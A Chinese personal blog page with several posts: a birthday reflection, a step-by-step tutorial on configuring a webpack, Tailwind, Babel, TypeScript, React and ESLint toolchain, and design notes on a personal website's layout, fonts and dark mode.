  • 不想让用户知道的处理逻辑,就放到后端。不要尝试在前端「隐藏代码」,这是不可能的。

开发 Web 应用过程中可能有无数的坑,而踩到了安全方面的坑则特别可能带来极大的损失。最重要的是,在设计和开发的过程中要有充分的安全意识,避免各种形式的不良实践。

✨ 二十一岁,繁花盛开。

二十一岁了,到了小时候觉得很遥远的年纪。

不知道是什么时候形成的习惯,每年生日都会发一篇博客,纪念这一岁的自己。翻到以往生日发的博客,更加能感叹时光之流逝,自己的成长。对于二十一岁,我还一点都没有准备好。

每年生日,正好都是清明时节。长沙的春日,繁花盛开了。

二十一岁,也正是繁花盛开的年纪。是时候开始具体地思考这个问题:「你想活出怎样的人生?

我认识的大多数年长的鼹鼠,都希望自己当初能够听从梦想,而非恐惧。

我认识的大多数年长的鼹鼠,都希望自己当初能够听从梦想,而非恐惧。
——《男孩、鼹鼠、狐狸和马》

从零开始,配置一套现代前端工具链

现代前端应用框架(如 Next.js、Nuxt.js 等)都直接集成了完整的工具链,按照官方文档做,一行命令就可以配置完毕。这整套工具在我们调试和构建项目时,在背后做了大量工作。虽然这有助于快速上手,但是非常不利于我们了解其中的原理。

然而,各种工具纷繁复杂,文档浩如烟海。由于工具之多,即使文档再友好、工具本身再易用,也很难快速入门。

本文将带你踏上一段旅程,从一个空文件夹开始,一步一步添加工具,最终配置一套完整的前端工具链。在其中,我们可以对各个工具的概念、用途和原理有一个比较系统的认识。每个部分都列出了相关文档的链接,方便查阅。

我们使用 React.js 前端框架,使用 Tailwind 编写 CSS,使用 TypeScript 编写脚本,并使用 ESLint 进行代码检查。最终,希望达到和使用 create-react-app 工具创建的项目类似的开发体验。

TL;DR

配置完毕后,整套工具链的示意图如下:

配置完毕后的工具链示意图

从创建一个 npm 项目开始

创建一个空目录(一般目录名就是项目名),进入其中执行 npm init,这个命令会交互式地让你填写该项目的元信息。

我们将这个项目命名为 study-chain(意为 study frontend toolchain):

mkdir study-chain
cd study-chain
npm init

确认信息之后,目录下会生成 package.json 文件,记录了项目的元信息:

// package.json
{
  "name": "study-chain",
  "version": "1.0.0",
  "description": "",
  "main": "index.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "author": "SkyWT",
  "license": "ISC"
}

接下来,我们以 moment 模块为例,这是一个用于转换日期格式的模块(这个模块其实已经废弃,不推荐新项目使用。我们只是将其作为示例,参见文档)。

在项目根目录下,使用 npm i 安装模块:

npm i moment

我们只使用这个模块的一个功能为例:将模块引入为 moment 之后,moment().format() 返回当前日期时间字符串。

Webpack

让我们先忘掉 React.js,从编写纯 HTML 和 JavaScript 开始。如何在这个项目里使用之前安装的 moment 模块呢?

考虑编写一个简单的 HTML 文件 index.html

<html>
  <body>
    <div id="app"></div>
    <script src="./index.js"></script>
  </body>
</html>

这个 HTML 引用了 index.js。这个 js 文件引入了 moment 模块,将 div 内的内容设置为当前时间:

// index.js
const moment = require("moment");

const app = document.getElementById("app");
app.innerText = moment().format();

当然,如果此时在浏览器中打开 HTML,这段 js 是无法运行的。因为 require 是 Node.js 的语法,浏览器并不支持。

但是我们知道这个模块就在本地,它的源文件就在 node_modules/moment 路径下。我们需要一个工具获取这个模块,整合进这段 js 里。这种工具就叫做 bundler。有了 bundler,即使在用于前端的 js 中,我们也能引入模块了。

Webpack 就是其中之一。

类似的工具有:Rollup、Parcel。

安装与使用

首先安装 webpack 和 webpack-cli。后者是配套的命令行工具。这两个工具都只是在开发阶段使用,所以使用 --save-dev 安装为开发环境依赖:

npm i webpack webpack-cli --save-dev

安装后,可以直接使用 npx webpack 命令:

npx webpack ./index.js --mode=development

这个命令处理 index.js 文件,解析其中引用的模块,将对应的 js 代码注入该文件。参数 --mode=development 指示生成开发环境下易于调试的文件版本。如果在生产环境,应使用 --mode=production

运行之后,会生成 dist/main.js(这是默认的输出文件,可配置),这就相当于浏览器版的源文件。于是,修改 HTML 中引用的 script 路径:

<html>
  <body>
    <div id="app"></div>
    <script src="./dist/main.js"></script>
  </body>
</html>

用浏览器打开,可以发现成功地调用了该模块,div 中显示了当前的日期时间。

使用 --watch 参数可以使 webpack 保持运行,持续监听源文件的修改:

npx webpack ./index.js --mode=development --watch

运行时,每当编辑 index.js 并保存,都会自动重新生成 dist/main.js 文件。可以在终端看到对应的输出。

除了 require 语法,webpack 也支持更常用的 import 语法。刚才的引入模块语句可以改成:

// index.js
import moment from "moment";
// ...

配置文件 webpack.config.js

使用 webpack 的配置文件,可以替代运行命令时传递的参数,让命令行的使用更简洁和灵活。(相关文档

在项目根目录创建名为 webpack.config.js 的文件,内容如下:

// webpack.config.js
const path = require("path");
module.exports = {
  mode: 'development',
  entry: './index.js',
  output: {
    filename: 'main.js',
    path: path.resolve(__dirname, "dist")
  }
};

创建了配置文件之后,使用命令行时,只需要使用如下命令:

npx webpack
npx webpack --watch

设置 npm scripts

为了方便起见,可以将以上 webpack 命令设置为 npm scripts

编辑 package.json 文件,添加 scripts:

// package.json
{
  // ...
  "scripts": {
    "build": "webpack",
    "watch": "webpack --watch"
  },
  // ...
}

保存之后,只需使用如下命令,就等同于运行设置的 webpack 命令:

npm run build
npm run watch

为了表述方便,下文将运行 npm run build 命令的这一操作简称为 build。

生成 HTML

现在,构建完成后,访问 index.html 就能看到我们的网站。然而可以发现,这个 HTML 中 main.js 需要我们手动引用。能否让 webpack 帮我们完成这件事情呢?

这就需要让 webpack 为我们在 dist 目录中生成 HTML 文件。这可以通过 html-webpack-plugin 这个插件实现。没错,webpack 不仅是一个打包工具,其还拥有着丰富的插件生态

运行以下命令安装 html-webpack-plugin(文档):

npm i html-webpack-plugin --save-dev

index.html 重命名为 template.html,内容如下:

<html>
  <body>
    <div id="app"></div>
  </body>
</html>

接下来修改 webpack.config.js,添加 html-webpack-plugin 插件的配置:

// webpack.config.js
const HtmlWebpackPlugin = require("html-webpack-plugin");
// ...
module.exports = {
  // ...
  plugins: [
    new HtmlWebpackPlugin({
      template: "template.html"
    })
  ]
};

再次使用 build 构建,会发现 dist 目录下生成了 index.html,这个 HTML 引用了生成的 main.js 脚本。打开就能看见其实现了我们要的应用逻辑。

使代码可以 import CSS 文件

现在,有了 webpack 的加持,我们的 js 代码已经可以导入 module 了。但是如果需要引入其他静态资源,比如 CSS 文件,还是无法直接完成。为了使代码能直接 import 其他类型的文件,webpack 中可以安装配置一种称为 loader 的模块

💡 Webpack 中的 loader 与 plugin:二者都是可以集成到 webpack 的模块,但是两个不同的概念。loader 一般用于处理特定类型的文件,而 plugin 可以提供更加广泛的功能。

比如,为了引入 CSS 文件,可以安装 style-loadercss-loader 两个模块(相关文档):

npm i style-loader css-loader --save-dev

接下来,修改 webpack 配置文件,添加一条规则:对于文件名以 .css 结尾的文件,使用这两个模块:

// webpack.config.js
// ...
module.exports = {
  // ...
  module: {
    rules: [
      {
        test: /\.css$/i,
        use: ['style-loader', 'css-loader'],
      },
    ],
  },
 };

Webpack 会按照配置的顺序调用 loader。在该配置文件下,先调用 style-loader,再调用 css-loader。这两个 loader 分别的作用是:

  • style-loader:将一个 CSS 文件注入 DOM,放在 <style> 元素中。(文档
  • css-loader:解析 CSS 中的 @importurl() 等语句,将对应引用的文件配置好。(文档

现在,可以使用 import 语句导入 CSS 文件了。首先还是在根目录下编写 style.css 文件:

// style.css
.bg-gray {
  background-color: #aaa;
}

保存后,修改 index.js 文件:

// index.js
import moment from "moment";
import "./style.css";

const app = document.getElementById("app");
app.innerText = moment().format();

app.classList.add("bg-gray");

重新 build 后,打开 HTML 即可发现样式的变化。

PostCSS

顾名思义。PostCSS 能够对 CSS 文件进行「后处理」(post-processing)。

和之前提到的 style-loader 和 css-loader 一样,PostCSS 也可以作为 loader 集成到 webpack。

集成到 webpack

首先还是安装 postcss-loader,同时安装 PostCSS 的一个插件 autoprefixer

npm i postcss-loader autoprefixer --save-dev

webpack.config.js 中添加配置:

// webpack.config.js
// ...
module.exports = {
  // ...
  module: {
    rules: [
      {
        test: /\.css$/i,
        use: [
          "style-loader",
          {
            loader: "css-loader",
            options: {
              importLoaders: 1,
            },
          },
          "postcss-loader",
        ],
      },
    ],
  },
  // ...
}

⚠️ 注意:此处调用 css-loader 处添加了 options,将 importLoaders 设置为 1。这是考虑到 PostCSS 可能引入新的 @import 等语句,css-loader 要在其运行之后重新进行解析(相关文档)。如果确定 PostCSS 不会添加新的 @import 等语句,则此参数可不加。(可参考 GitHub 上的相关讨论

配置文件 postcss.config.js

接下来创建 PostCSS 的配置文件,项目根目录下的 postcss.config.js 文件(文档):

// postcss.config.js
/** @type {import('postcss-load-config').Config} */
module.exports = {
  plugins: [require("autoprefixer")],
};

在以上的配置文件中,我们加载了 PostCSS 的 autoprefixer 插件(文档)。由于浏览器支持的差异,部分浏览器中使用某些样式需要加上特定的前缀,比如 webkit 或者 moz,这叫做 vendor prefix。这个插件会自动添加这种前缀,确保样式的兼容性。这里使用此插件只是为了演示 PostCSS 插件的使用,因为接下来我们将配置使用 Tailwind 插件。

PostCSS 是 webpack 的插件,autoprefixer 又是 PostCSS 的插件,也就是 webpack 的插件的插件。接下来我们还可以安装 Tailwind 的插件,即 webpack 的插件的插件的插件。前端工具链就是如此。

Tailwind CSS

使用过 Tailwind 之后,在开发任何前端项目时,我的心理状态:

没有它我不能活!😭😭😭

是的,之后在开发任何前端项目的时候,我没有一次离开过 Tailwind。即使是写纯 HTML 也要从 CDN 引入静态文件。因为它彻底改变了我们编写样式的方式。

作为现代前端项目,Tailwind 当然是必备的工具。

集成到 PostCSS

首先还是安装 Tailwind:

npm install tailwindcss --save-dev

接下来,在 PostCSS 中添加 Tailwind 插件(官方指南):

// postcss.config.js
/** @type {import('postcss-load-config').Config} */
module.exports = {
  plugins: {
    tailwindcss: {},
    autoprefixer: {},
  }
};

配置文件 tailwind.config.js

下一步,使用以下命令创建 Tailwind 的配置文件:

npx tailwindcss init

Tailwind 会生成自己的配置文件 tailwind.config.js文档):

// tailwind.config.js
/** @type {import('tailwindcss').Config} */
module.exports = {
  content: ["./**/*.{html,js}"],
  theme: {
    extend: {},
  },
  plugins: [],
}

配置文件中的 content 的值,是一个字符串数组,其中存放着需要处理的文件路径。Tailwind 会尝试检测所有匹配的文件中出现的 class 值,并添加对应的 CSS 定义。

为了匹配我们根目录下的模板 HTML 和 js 文件,删除路径中 src 部分。(或者也可以将所有源文件放到 src 子目录里——大多数项目都是这样做的。下一步在整理文件环节,我们也会这样做)。

接下来,在我们引用的主样式表(即 style.css)的开头,加上 @tailwind 指令

// style.css
@tailwind base;
@tailwind components;
@tailwind utilities;

.bg-gray {
    background-color: #aaaaaa;
}

大功告成。接下来可以尝试修改 HTML 模板并重新 build,就可以发现能使用 Tailwind 了!

<html>
  <body>
    <div class="text-4xl" id="app"></div>
  </body>
</html>

(当然,集成到 PostCSS 并不是使用 Tailwind 的唯一方式。官方的Get started 中提供了大量框架、工具的集成指南)

安装 Tailwind 插件

没错,Tailwind 也有插件生态,比如 tailwindcss-animated文档)和 typography文档),这两个插件我都比较常用。

Tailwind 插件配置起来并不难,这里不再展开了,可以查阅相关文档。

中场休息:整理目录结构

至此,CSS 相关的工具配置完了。在进行下一步之前,是时候整理一下我们项目的目录结构了。

如前文所述,为了让项目目录更简洁,我们将所有源文件移动到新建的 src 文件夹内。移动之后,项目目录结构如下:

node_modules/
  ...
dist/
  ...
src/
  template.html
  index.js
  style.css
package-lock.json
package.json
postcss.config.js
tailwind.config.js
webpack.config.js

为了使所有工具只处理 src 目录下的文件,需要修改部分配置文件。

修改 tailwind.config.js

// tailwind.config.js
module.exports = {
  content: ["./src/**/*.{html,js}"],
  // ...
};

修改 webpack.config.js

// webpack.config.js
module.exports = {
  // ...
  entry: "./src/index.js",
  // ...
};

这下,我们的项目目录就干净了很多。是时候进行下一步了!

Babel

JavaScript 是浏览器原生支持的唯一语言,但:1)不同浏览器对该语言的新特性支持有所不同;2)许多人不喜欢 JavaScript 弱类型的特性,TypeScript 应运而生。但浏览器本身不支持 TypeScript。

所以,需要这样一种工具:1)将 JavaScript 的新特性相关代码转换为使用旧特性的实现;2)将 TypeScript 翻译为 JavaScript。这个过程和 C++ 这类语言「编译」的过程有些相似,只是目标是 JavaScript 而非二进制。

这种工具就叫做 transpiler(可以翻译成「转译器」)。它的作用是将一段代码「翻译」成另一段代码,但目标代码仍然是高级语言(一般是 JavaScript)。这个「翻译」和传统编程语言中的「Compile」概念不同,称为「Transpile」。

Babel 就是其中之一。

(吐槽:既然都要 transpile 才能运行代码,不如直接 compile 成更低级的字节码,执行效率还会更高。Web Assembly 就这样诞生了。不过这里不介绍了)

集成到 webpack

Babel 可以和 PostCSS 一样作为 loader 集成在 webpack 里。安装 Babel:

npm i babel-loader @babel/core --save-dev

安装后,修改 webpack 配置文件,对 .js 文件使用 babel-loader(排除 node_modules 目录中的文件):

// webpack.config.js
module.exports = {
  // ...
  module: {
    rules: [
      // ...
      {
        test: /\.js$/,
        exclude: /node_modules/,
        use: {
          loader: "babel-loader",
        },
      },
    ],
  },
};

(同样,集成到 webpack 也非安装 Babel 的唯一方式。官方指南提供了很多种配置方式)

目前,重新 build 时,虽然会调用 babel-loader,但是 Babel 还什么事情都没做。这是因为我们没有为其指定任何规则。一般可以通过 preset 指定规则。

presets

Babel 中的 preset 这一概念,官方的定义是「可分享的一组插件和配置的集合」(文档)。

官方提供了四种 preset:

  • env:用于将较新的 ECMAScript 特性转译为兼容较旧环境的实现。
  • react:用于转译 React.js 的 JSX 语法。
  • typescript:用于转译 TypeScript。
  • flow:用于 flow 工具,这是一个静态类型检查器。

配置文件 babel.config.json

在项目根目录下创建配置文件 babel.config.json,其中可以添加 preset 指定规则。我们先添加一个 preser-env:

// babel.config.json
{
  "presets": ["@babel/preset-env"]
}

别忘了安装这个 preset:

npm i @babel/preset-env --save-dev

安装和配置完毕后,重新 build,就会使用 preset-env 指定的 transpile 规则。这套规则有什么用呢?

preset-env

ECMAScript 标准每一两年都推出新的版本,引入新的特性。而不同浏览器对其的实现难免会有所滞后。为了:1)能及时使用 ECMAScript 的新特性;2)确保我们的代码在所有浏览器环境中的表现一致,Babel 提供的 preset-env 可以将使用新特性的代码 transpile 为使用旧特性的实现。文档)(在 Babel 出现之前,许多应用引入一个静态的 js 脚本完成这一功能,这种脚本叫做「polyfill」)

比如,ES6 引入了箭头函数和 const 关键字:

const a = [1,2,3];
a.forEach((x) => console.log(x));

如果要兼容不支持 ES6 的环境(虽然所有现代浏览器都已经支持了 ES6),Babel 就要将箭头函数转换成普通函数,const 换成 var:

var a = [1, 2, 3];
a.forEach(function (x) {
  return console.log(x);
});

可以在官网的 Try it out 中尝试。

TypeScript

TypeScript 也是开发现代 Web 应用的必备。如果 standalone 地安装,可以使用 tsc 命令将一个 .ts 文件 transpile 成一个 .js 文件。然而,为了使这一过程在 build 时自动完成,还是要将其集成到 Babel。

集成到 Babel

如前所述,Babel 已经提供了 TypeScript 的 preset(文档),其中包含了转译 TypeScript 的插件。只需直接安装:

npm i @babel/preset-typescript --save-dev

webpack.config.js 中,要修改两个地方:1)将 entry 改为 index.ts;2)将 babel-loader 的 test 规则改为匹配 .ts 结尾的文件:

// webpack.config.js
module.exports = {
  // ...
  entry: "./src/index.ts",
  // ...
  module: {
    rules: [
      // ...
      {
        test: /\.ts$/,
        exclude: /node_modules/,
        use: {
          loader: "babel-loader",
        },
      },
    ],
  },
};

babel.config.json 里,加入 preset-typescript

// babel.config.json
{
  "presets": [
    "@babel/preset-env",
    "@babel/preset-typescript"
  ]
}

现在,可以将 src 中的 index.js 改写为 index.ts 了。由于这段代码很短,只需要改一个地方,即判断 app 是否为 null

import moment from "moment";
import "./style.css";

const app = document.getElementById("app");
if (app !== null) {
  app.innerText = moment().format();
  app.classList.add("bg-gray");
}

配置文件 tsconfig.json

TypeScript 也有配置文件。在项目根目录下创建 tsconfig.json 即可。

具体规则可参考官方文档。当我们配置好 React 后会再来修改 TypeScript 的规则配置。

React.js

使用 React 时我们会编写 JSX(或 TSX)语法的代码。JSX(或 TSX)全称 JavaScript(TypeScript)Extension,这是一种糅合了 HTML 和 JavaScript(TypeScript)语法的代码。当然,无论是浏览器还是 Node 都不支持这种代码,所以需要 Babel 为我们转译。其实,这样的代码中,类似 HTML 的那部分会被转译成 JavaScript 递归的函数调用的形式。

集成到 Babel

Babel 也提供了 React 的 preset(文档),包含了对应插件。只要安装:

npm i @babel/preset-react --save-dev

webpack.config.js 中设置匹配 .ts 或 .tsx 结尾的文件:

// webpack.config.js
module.exports = {
  // ...
  module: {
    rules: [
      // ...
      {
        test: /\.tsx?$/,
        exclude: /node_modules/,
        use: {
          loader: "babel-loader",
        },
      },
    ],
  },
};

修改 Babel 配置文件 babel.config.json,添加 preset-react

// babel.config.json
{
  "presets": [
    "@babel/preset-env",
    "@babel/preset-react",
    "@babel/preset-typescript"
  ]
}

接下来,为了让 TypeScript 解释 TSX 语法,要在 tsconfig.json 中加入如下配置:

// tsconfig.json
{
  "compilerOptions": {
    "strict": true,
    "jsx": "react",
    "esModuleInterop": true,
    "noEmit": true,
    "allowImportingTsExtensions": true
  }
}

这段配置文件中:

  • strict 设为 true 表示开启严格类型检查,包括不允许隐式 any 类型等等。
  • jsx 设为 react,表示启用 JSX 支持。
  • esModuleInterop 设为 true 允许用 import 语法直接导入 CommonJS 模块(否则,必须使用 require 的语法)。
  • noEmit 表示不输出编译后的结果文件。由于在该配置中 TypeScript 是作为 Babel 的一个插件,转译后结果文件由 Babel 输出。
  • allowImportingTsExtensions 表示允许导入 .tsx 类型的文件。

以及,现在我们的脚本文件可以是 js、jsx、ts、tsx 格式了,要在 Tailwind 的配置文件中修改其检测的文件格式:

// tailwind.config.js
/** @type {import('tailwindcss').Config} */
module.exports = {
  content: ["./src/**/*.{html,js,jsx,ts,tsx}"],
  theme: {
    extend: {},
  },
  plugins: [],
};

最后,别忘了安装 React 本体,以及其对应的类型定义:

npm i react react-dom --save
npm i @types/react @types/react-dom --save-dev

编写 React 组件

现在,在 src 下创建 App.tsx 文件,我们可以在其中用 TSX 语法编写一个 React 组件了。

将之前写的显示时间的组件写进这里面:

// App.tsx
import React from "react";
import "./style.css";
import moment from "moment";

export default function App() {
  return (
    <div className="App">
      <h1 className="text-4xl">Hello, World!</h1>
      <p>{moment().format()}</p>
    </div>
  );
}

为了引用该组件,入口文件 index.ts 也需要用到 TSX 语法。因此,将其重命名为 index.tsx,修改为如下内容:

// index.tsx
import React from "react";
import { createRoot } from "react-dom/client";

import App from "./App.tsx";

const container = document.getElementById("app");
if (container !== null) {
  const root = createRoot(container);
  root.render(<App />);
}

同时,要在 webpack 配置中修改 entry:

// webpack.config.js
module.exports = {
  // ...
  entry: "./src/index.tsx",
  // ...
}

现在,build 之后,打开生成的 HTML,可以看到我们用 React 写的组件了。

ESLint

ESLint 是一个代码检查工具。对于团队项目,统一代码风格十分重要,而 ESLint 可以方便地做到这一点:如果没有满足指定的代码风格,则显示警告或错误(如果在 IDE 中集成的话),或者拒绝提交或部署(如果在提交部署流程中集成的话)。

为了使流程更加清晰,我们还是选择将 ESLint 作为一个插件集成到 webpack

集成到 webpack

安装 eslint-webpack-plugin相关文档):

npm i eslint-webpack-plugin --save-dev

修改 webpack 的配置,添加该插件:

// webpack.config.js
// ...
const ESLintPlugin = require('eslint-webpack-plugin');
module.exports = {
  // ...
  plugins: [
    // ...
    new ESLintPlugin({
      extensions: ["js", "jsx", "ts", "tsx"],
    }),
  ],
  // ...
};

配置文件中 new ESLintPlugin({}) 可以传入一个 options 对象,用于指定 ESLint 插件选项文档)。这里我们指定了要 lint 的文件拓展名。

配置文件 .eslintrc.js

可以使用 @eslint/config 创建配置文件(文档),这是一个友好的交互式命令:

npm init @eslint/config

在其中可以选择「项目使用了 React.js、TypeScript」,该命令会自动为我们安装配置对应的 ESLint 插件。

运行完成后,除了安装了一堆插件,项目根目录会产生配置文件 .eslintrc.js(或者其他文件格式,取决于你的选择)。

// .eslintrc.js
module.exports = {
  env: {
    browser: true,
    es2021: true,
  },
  extends: ["standard-with-typescript", "plugin:react/recommended"],
  overrides: [
    {
      env: {
        node: true,
      },
      files: [".eslintrc.{js,cjs}"],
      parserOptions: {
        sourceType: "script",
      },
    },
  ],
  parserOptions: {
    ecmaVersion: "latest",
    sourceType: "module",
  },
  plugins: ["react"],
};

现在,再次 build,ESLint 会按照我们设定的规则进行代码检查。

可以在配置文件中添加一些自己习惯的规则,比如使用双引号、行末加分号。并且,需要设置对于 *.config.js 这类配置文件的特殊检测规则。我的 .eslintrc.js 文件设置如下:

// .eslintrc.js
module.exports = {
  env: {
    browser: true,
    es2021: true
  },
  extends: ["standard-with-typescript", "plugin:react/recommended"],
  overrides: [
    {
      env: {
        node: true
      },
      files: [".eslintrc.js", "*.config.js"],
      parserOptions: {
        sourceType: "script"
      },
      extends: ["plugin:@typescript-eslint/disable-type-checked"],
      rules: {
        "@typescript-eslint/no-var-requires": "off"
      }
    }
  ],
  parserOptions: {
    ecmaVersion: "latest",
    sourceType: "module"
  },
  rules: {
    "@typescript-eslint/semi": ["error", "always"],
    "@typescript-eslint/quotes": ["error", "double"]
  },
  plugins: ["react"]
};

⚠️ 一个坑点:使用 TypeScript 时,由于使用 typescript-eslint 的解析器而非默认解析器(文档),添加规则要写 @typescript-eslint/quotes 而非 quotes,否则不会生效。例如:

// eslintrc.js
module.exports = {
  // ...
  rules: {
    "@typescript-eslint/quotes": ["error", "double"],
    "@typescript-eslint/semi": ["error", "always"],
  },
  // ...
};

💡 或许你同时在 IDE 中使用 Prettier 一类的代码格式化工具。其文档中 Prettier vs. Linters 介绍了这两种工具的区别;Integrating with Linters 介绍了其与 linter 的集成指南。简而言之,在 ESLint 配置中应用 eslint-config-prettier 规则集即可自动关闭所有与 Prettier 冲突的规则。不过我更推荐的是在 IDE 中安装 ESLint 插件,对于 js 类文件直接使用 ESLint 作为代码格式化工具,这样能够确保遵循 eslintrc 中的规则。

(ESLint 这部分配置起来还是挺麻烦的,尤其要集成到 VSCode,同时兼容 TypeScript,并考虑到其和 Prettier 的冲突。改天配置好了一个比较 fancy 的方案再单独写一篇)

Recap:站在巨人的肩膀上

至此,一套比较完整的前端项目 starter 终于配置完毕了。完整的项目可以在这个仓库查看。

回顾一下,我们首先使用了 webpack 作为打包工具;其 PostCSS 插件能够对 CSS 进行处理;Tailwind 则可以作为 PostCSS 插件集成。我们使用 Babel 这个 transpiler 处理各种脚本文件,其中 env preset 将 ECMAScript 较先进的特性转译为旧特性的实现,确保兼容性;TypeScriptReact JSX 两个 preset 则分别将它们各自的语法转译成 JavaScript。最后,我们使用 ESLint 作为代码质量检查工具,并配置其针对 TypeScript 和 JSX 的规则。

使用的工具链关系示意图如下:

配置完毕后的工具链示意图

相比从前,各种工具让开发的过程变得越来越优雅和美妙。然而每个工具背后,都有无数前人的辛勤付出,没有他们的这些努力,我们无法得到这样现代化的前端开发体验。

现代前端开发,就是站在巨人的肩膀上

一点思考 🤔

最后,还有一个我的疑问:相比其他领域,为什么 Web 前端开发的工具链会呈现如此复杂的形态呢?我体验过 iOS 开发,也了解过基于 Qt 等框架的客户端开发,我个人的感觉是没有一个领域的客户端开发像 Web 前端这样有如此庞大复杂的工具链:某个工具可以配置插件,插件又有插件,插件的插件又有插件……那么归根结底,Web 前端工具链这种复杂的形式,是历史发展的必然,是某种设计缺陷的后果,还是某种设计思想的体现?🤔

欢迎分享你的思考。

值得一读

Web development used to be a great entry point for people new to programming precisely because it was so easy to get up and running; nowadays it can be quite daunting, especially because the various tools tend to change rapidly.

—— Modern JavaScript Explained For Dinosaurs

值得一读的相关文章;

全新个人网站 Daydreamer 设计开发手记

想写一个新的个人主页很久了,甚至基于 Next.js、Nuxt.js 分别做过雏形,但是都半途而废。寒假接触到了早有耳闻的 Astro.js,这个框架简洁优雅的设计吸引了我。于是一发不可收拾,开发了全新版本的主页,并将各种页面和博客系统也集成进了这个主页。在设计和开发的过程中有无数的纠结和思考,特此记录下来。

Bento 式布局

我是看了少数派的《何为 Bento 式布局,怎么生产力工具网站都在用?》这篇文章,想到用 Bento 的风格做一个个人网站的。Bento 式布局各种信息平级,非常适合「自我介绍」。相比一大段文字的自我介绍,用这种布局更有意思,也更吸引人阅读。

很早之前试用了 Bento.me 这个广受好评的工具,虽然功能比较有限,但是其 UI / UX 设计精雕细琢,非常精致。这次可以说我的网站 Bento 部分其实很大程度仿制了 Bento.me 的风格。

由于 Bento 布局不是线性的,所以没法像平常的网页一样采用响应式的逻辑,当页面宽度减小时自动调整。Bento.me 对于这个问题的解决办法是:提供大屏幕(四列)、小屏幕(两列)两套布局,让用户分别配置调整。参考这一方法,我的 Bento 组件也针对四列、两列分别指定了布局。

在使用 Astro 编写这一部分组件的时候,最麻烦的其实是确定一个 Box 的抽象层级。每个 Box 看似都可以写成一个组件、可复用,但是许多 Box 又有不同的背景、背景位置、前景色、hover 行为、对齐方式…… 这些都只能在 Box 的最外围元素上指定,如果通过 props 传递,则过于冗长,代码会十分丑陋。综合考虑,我定义每个 Box 最外层用一个 BoxWrapper 组件,专门负责 positioning,分别指定四列、两列模式的大小、位置;在 BoxWrapper 的 slot 中放置内部的组件,干脆分为多种组件:纯文字的 Box、带背景的 BgBox、地图组件 Map(其实这是个图片)以及 MBTI 组件等等。虽然各个组件之中还有不少重复代码,不符合 DRY 原则,但是暂时想不到更加合理的解耦合方式。

最终的 Bento 效果

字体的选择

对于一个有设计的网站,字体的选择其实非常重要。它是网站 personality 的重要部分(参考《Refactoring UI》)。

我一直钟情于 serif 字体,因为它们看起来文艺且有些复古,非常适合个人博客。所以,这次我还是全局使用了思源宋体。为了在不同平台呈现相同的字体体验,我使用 Google Fonts 并使用 loli.net 的镜像。

此外,对于引言(blockquote)中的字体,我其实希望使用楷体(因为感觉很多出版物都是这么做的)。然而由于中英文字体体系分类的不同(serif 对应宋体,sans 对应黑体,什么对应楷体呢?),楷体似乎没有被纳入 Web 字体世界的一等公民,在 Google Fonts 中也没有提供。我只能尽量尝试使用用户本地的楷体。

.font-kai {
  font-family: "KaiTi", "KaiTiGB2312", "STKaiti", "Noto Serif SC", serif;
}

需要注意一个离谱的问题:macOS Safari 浏览器不支持本地楷体。原因是「为了保护隐私,防止通过用户安装的字体追踪用户」,Safari 中 font-family 不能使用本地安装的所有字体,只能使用系统字体的一个子集……而这个子集不包括楷体(参考)。所以,macOS Safari 浏览器无法使用楷体。看来,又 get 了 Safari 的一个逆天特性 😇。

Darkmode 支持

让网站支持 darkmode 是我的一个执念。因为:1)所有浏览器、操作系统都有了 darkmode 的功能,如果不去兼容这个功能,会感觉自己的网站是「功能残缺」的;2)我既想要纯白的简洁设计,又想要在被窝里看着不伤眼睛的暗色设计。同时做两套主题能够满足我这样的要求。

然而 darkmode 设计和实现起来并不容易。为了保证颜色的协调,往往需要对两套主题单独调整颜色,并不是简单的「反色」。

比如,我们天然会认为「颜色较浅(较亮)的元素是突出的」。如果要绘制一个按钮或卡片,不管白天黑夜,前景都必须比背景更浅(更亮)。所以在白天就要采用「浅灰色背景、白色前景」,夜晚就要使用「黑色背景、深灰色前景」,这样看起来才会统一且协调。比如,看下面四种配色方案下的按钮,显然 2 和 3 是比较正常的,而 1 和 4 则比较奇怪。(然而事实上,1 和 3、2 和 4 分别互为反色。)

四种配色方案中的按钮

由此可见,darkmode 不能是单纯的反色,而是对色彩方案的单独设计。这一点在 Apple Developer 的《人机界面指南》中《深色模式》一篇也有提及:

深色模式下的调色盘包含较暗的背景颜色和较亮的前景颜色。需要注意的是,这些颜色不一定是其对应的浅色颜色的反转:虽然很多颜色是被反转的,但有些颜色则不是。有关更多信息,请参阅规范

还有另一个问题,黑夜模式的背景使用 0x000000 的纯黑并不是一个很好的选择。纯黑俗称「A 屏黑」,在夜晚看久了眼睛会非常不舒服。作为替代,我必须选用一种接近 black 的更浅的背景色。

从白到黑:gray 与 neutual

查看了 Tailwind 提供的颜色列表,才知道从 white 到 black,并不止 gray 一种过渡方式。Tailwind 提供了 gray、neutral、cool、warm 四种方式,每种都有 100 到 900 从白到黑的过渡值。

我并不懂一些复杂的色彩理论,只是从视觉上凭感觉而言,我觉得 darkmode 更适合用 neutral 系列的颜色。它看起来更温暖和舒服,也给人一种文艺的感觉,非常适合个人网站。相比之下,gray 整体偏蓝。我的 Daydream Typecho 主题的 darkmode 背景色就是 pico.css 提供的 gray 系列颜色,相比之下可以明显感到 gray 作为背景色更蓝一点。

而白天 lightmode 应该用哪种灰色呢?还是凭感觉,我认为白天用 neutral 系列则会感觉偏暖。因为在白天我希望传达出的是一种「富有执行力、富有活力」的感觉,所以似乎用 gray 更加合适。(当然这都是我极其主观的感受……)

所以最终决定:白天用 gray 系列颜色,夜晚用 neutral 系列颜色。

  • 白天:背景为 gray-100,前景为 white
  • 夜晚:背景为 neutral-900,前景为 neutral-800

白天和晚上的 shadow

下一个棘手的问题是阴影。阴影能够给页面元素添加立体感,Tailwind 也提供了方便的 class 应用阴影,所以我非常喜欢用。然而,darkmode 下如何应用阴影,值得仔细思考。

从现实生活的经验来说,阴影产生于对光线的遮挡。所以,白天光线充足的时候,会产生黑色的阴影。然而,夜晚没有光线的时候,就不会产生阴影。夜晚并不会产生白色的阴影,这再次说明了「darkmode 颜色方案不能是对 lightmode 的反转」。

然而,「夜晚不会产生阴影」的前提「夜晚没有光线」,这一点很奇怪,因为如果没有光线,我们就看不见任何东西,怎么能看见页面中的各种元素呢?

这提示我重新思考 lightmode、darkmode 和整个网页对应我们现实生活经验中的具体场景。想象一个开着灯的房间,地面上摆满了网页里的各种元素。当开着灯的时候(lightmode),所有按钮、卡片都呈现白色,并自然地投射出黑色的阴影;当关了灯后(darkmode),所有按钮、卡片本身会发出微弱的光(否则无法解释为什么还能看到它们)。

